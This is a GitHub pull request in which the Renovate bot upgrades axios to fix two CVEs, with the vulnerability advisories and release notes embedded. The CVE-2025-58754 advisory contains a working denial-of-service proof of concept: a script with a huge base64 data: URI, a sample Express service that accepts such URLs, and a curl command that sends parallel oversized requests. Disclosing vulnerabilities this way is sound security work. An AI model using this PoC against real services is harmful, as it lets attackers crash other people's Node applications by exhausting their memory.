Skip to content

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Nov 12, 2023

Note

Mend has cancelled the proposed renaming of the Renovate GitHub app being renamed to mend[bot].

This notice will be removed on 2025-10-07.


This PR contains the following updates:

Package Change Age Confidence
axios (source) ^0.27.0 -> ^0.30.2 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.


Release Notes

axios/axios (axios)

v0.30.2

Compare Source

What's Changed

New Contributors

Full Changelog: axios/axios@v0.30.1...v0.30.2

v0.30.1

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.30.0...v0.30.1

v0.30.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

v0.28.1

Compare Source

Release notes:

Release notes:

Bug Fixes
  • fix(backport): custom params serializer support (#​6263)
  • fix(backport): uncaught ReferenceError req is not defined (#​6307)

v0.28.0

Compare Source

Release notes:

Bug Fixes
Backports from v1.x:
  • Allow null indexes on formSerializer and paramsSerializer v0.x (#​4961)
  • Fixing content-type header repeated #​4745
  • Fixed timeout error message for HTTP 4738
  • Added axios.formToJSON method (#​4735)
  • URL params serializer (#​4734)
  • Fixed toFormData Blob issue on node>v17 #​4728
  • Adding types for progress event callbacks #​4675
  • Fixed max body length defaults #​4731
  • Added data URL support for node.js (#​4725)
  • Added isCancel type assert (#​4293)
  • Added the ability for the url-encoded-form serializer to respect the formSerializer config (#​4721)
  • Add string[] to AxiosRequestHeaders type (#​4322)
  • Allow type definition for axios instance methods (#​4224)
  • Fixed AxiosError stack capturing; (#​4718)
  • Fixed AxiosError status code type; (#​4717)
  • Adding Canceler parameters config and request (#​4711)
  • fix(types): allow to specify partial default headers for instance creation (#​4185)
  • Added blob to the list of protocols supported by the browser (#​4678)
  • Fixing Z_BUF_ERROR when no content (#​4701)
  • Fixed race condition on immediate requests cancellation (#​4261)
  • Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance #​4248
  • Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#​4229)
  • Fix TS definition for AxiosRequestTransformer (#​4201)
  • Use type alias instead of interface for AxiosPromise (#​4505)
  • Include request and config when creating a CanceledError instance (#​4659)
  • Added generic TS types for the exposed toFormData helper (#​4668)
  • Optimized the code that checks cancellation (#​4587)
  • Replaced webpack with rollup (#​4596)
  • Added stack trace to AxiosError (#​4624)
  • Updated AxiosError.config to be optional in the type definition (#​4665)
  • Removed incorrect argument for NetworkError constructor (#​4656)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 192c27b to 6f5d859 Compare November 16, 2023 14:27
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 4 times, most recently from 198d991 to cc3e161 Compare December 5, 2023 07:14
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from e18b811 to d85dfea Compare December 27, 2023 04:31
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 4 times, most recently from c5c3838 to 5fe52c5 Compare January 9, 2024 14:08
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 7accd2f to 7a22d74 Compare January 16, 2024 14:59
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 3 times, most recently from 6794931 to c2a99f4 Compare February 4, 2024 09:23
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c2a99f4 to eda3db2 Compare February 4, 2024 12:48
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Feb 17, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 869b71a to d32d7d2 Compare February 17, 2024 17:14
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to v1 [SECURITY] Feb 17, 2024
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v1 [SECURITY] - autoclosed Feb 20, 2024
@renovate renovate bot closed this Feb 20, 2024
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch February 20, 2024 21:25
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] - autoclosed Update dependency axios to v1 [SECURITY] Feb 22, 2024
@renovate renovate bot reopened this Feb 22, 2024
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch February 22, 2024 23:09
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Feb 22, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d32d7d2 to 6be0e9d Compare February 22, 2024 23:09
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 450d548 to 39fe80d Compare July 28, 2025 10:36
@renovate renovate bot changed the title Update dependency axios to ^0.30.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Jul 28, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 39fe80d to 9704de8 Compare July 28, 2025 17:14
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.30.0 [SECURITY] Aug 10, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 9704de8 to a8b4d86 Compare August 10, 2025 12:41
@renovate renovate bot changed the title Update dependency axios to ^0.30.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Aug 10, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from a8b4d86 to 3b6cc7b Compare August 10, 2025 18:23
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.30.0 [SECURITY] Aug 13, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 3b6cc7b to 8d2704d Compare August 13, 2025 14:56
@renovate renovate bot changed the title Update dependency axios to ^0.30.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Aug 13, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 8d2704d to c0256f4 Compare August 13, 2025 19:23
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.30.0 [SECURITY] Aug 19, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c0256f4 to 551c0b6 Compare August 19, 2025 13:45
@renovate renovate bot changed the title Update dependency axios to ^0.30.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Aug 19, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 551c0b6 to 9007306 Compare August 19, 2025 21:43
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 9007306 to 3d15f5b Compare August 31, 2025 11:24
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.30.0 [SECURITY] Aug 31, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 3d15f5b to 1f51da0 Compare August 31, 2025 12:36
@renovate renovate bot changed the title Update dependency axios to ^0.30.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Aug 31, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 1f51da0 to c455537 Compare September 13, 2025 22:11
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to v1 [SECURITY] Sep 13, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c455537 to b1a786c Compare September 25, 2025 15:06
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.30.0 [SECURITY] Sep 25, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b1a786c to 84139ea Compare September 25, 2025 20:09
@renovate renovate bot changed the title Update dependency axios to ^0.30.0 [SECURITY] Update dependency axios to v1 [SECURITY] Sep 25, 2025
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Sep 29, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 84139ea to d9cd23e Compare September 29, 2025 22:49
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.30.2 [SECURITY] Sep 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d9cd23e to 895e7da Compare September 30, 2025 19:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants